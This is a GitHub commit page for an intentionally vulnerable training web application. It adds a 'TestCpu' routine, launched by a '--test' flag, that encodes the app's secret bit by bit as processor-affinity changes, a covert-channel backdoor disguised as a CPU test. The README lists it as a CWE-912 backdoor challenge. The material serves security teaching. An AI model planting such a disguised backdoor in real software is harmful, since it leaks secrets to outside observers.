Skip to content

Commit

Permalink
Test++
Browse files Browse the repository at this point in the history
  • Loading branch information
Aif4thah committed Jun 6, 2024
1 parent 96070f8 commit 450f519
Show file tree
Hide file tree
Showing 3 changed files with 69 additions and 4 deletions.
15 changes: 11 additions & 4 deletions Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@
using VulnerableWebApplication.VLAModel;
using VulnerableWebApplication.VLAIdentity;
using VulnerableWebApplication.MidlWare;
using VulnerableWebApplication.TestCpu;
using Microsoft.AspNetCore.OpenApi;
using GraphQL.Types;
using GraphQL;
Expand All @@ -29,9 +30,7 @@
builder.Services.AddSingleton<ClientDetailsType>();
builder.Services.AddSingleton<ClientQuery>();
builder.Services.AddSingleton<ISchema, ClientDetailsSchema>();
builder.Services.AddGraphQL(b => b
.AddAutoSchema<ClientQuery>() // schema
.AddSystemTextJson()); // serializer
builder.Services.AddGraphQL(b => b.AddAutoSchema<ClientQuery>().AddSystemTextJson());

builder.Services.AddHttpLogging(logging =>
{
Expand Down Expand Up @@ -84,6 +83,15 @@
// Arguments :

string url = args.FirstOrDefault(arg => arg.StartsWith("--url="));
string test = args.FirstOrDefault(arg => arg.StartsWith("--test"));

if(!string.IsNullOrEmpty(test))
{
Console.WriteLine("Start CPU Testing");
TestCpu.TestAffinity(Secret);
}



if (string.IsNullOrEmpty(url))
{
Expand All @@ -92,7 +100,6 @@
}
else app.Urls.Add(url.Substring("--url=".Length));


// Lancement :

app.Run();
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,7 @@
| CWE-787 | Out-of-bounds Write | Easy | 500-5000$ |
| CWE-798 | Use of Hard-coded Credentials | Very Easy | 1.000-10.000$ |
| CWE-829 | Local File Inclusion | Easy | 500-2.000$ |
| CWE-912 | Backdoor | Very Hard | 10.000$-100.000$ |
| CWE-918 | Server-Side Request Forgery (SSRF) | Medium | 1.000$-10.000$ |
| CWE-1270 | Generation of Incorrect Security Tokens | Medium | 1.000-20.000$ |

Expand Down
57 changes: 57 additions & 0 deletions TestCpu/TestCpu.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
using GraphQL;
using System;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;


namespace VulnerableWebApplication.TestCpu
{
public class TestCpu
{
public static void TestAffinity(string Str)
{
string BinStr = ConvertToBinary(Str);

Console.WriteLine("Total proc: {0}", Environment.ProcessorCount);
foreach (char bit in BinStr)
{
Process.GetCurrentProcess().ProcessorAffinity = (System.IntPtr)(bit - '0' +1);
CalculateSHA512(Str);
}
Process.GetCurrentProcess().ProcessorAffinity = (System.IntPtr)5;
}

public static string ConvertToBinary(string input)
{
byte[] bytes = Encoding.UTF8.GetBytes(input);
StringBuilder binary = new StringBuilder();

foreach (byte b in bytes) binary.Append(Convert.ToString(b,2).PadLeft(8,'0'));

return binary.ToString();
}

public static void CalculateSHA512(string input)
{
{
var stopWatch = new Stopwatch();
stopWatch.Start();
while (stopWatch.Elapsed.TotalSeconds < 5)
{
using (var sha256 = SHA256.Create())
{
var bytes = Encoding.UTF8.GetBytes(Guid.NewGuid().ToString());
var hash = sha256.ComputeHash(bytes);
}
}
stopWatch.Stop();
Console.WriteLine("Current proc : {0}", Process.GetCurrentProcess().ProcessorAffinity);
}
}

}
}

0 comments on commit 450f519

Please sign in to comment.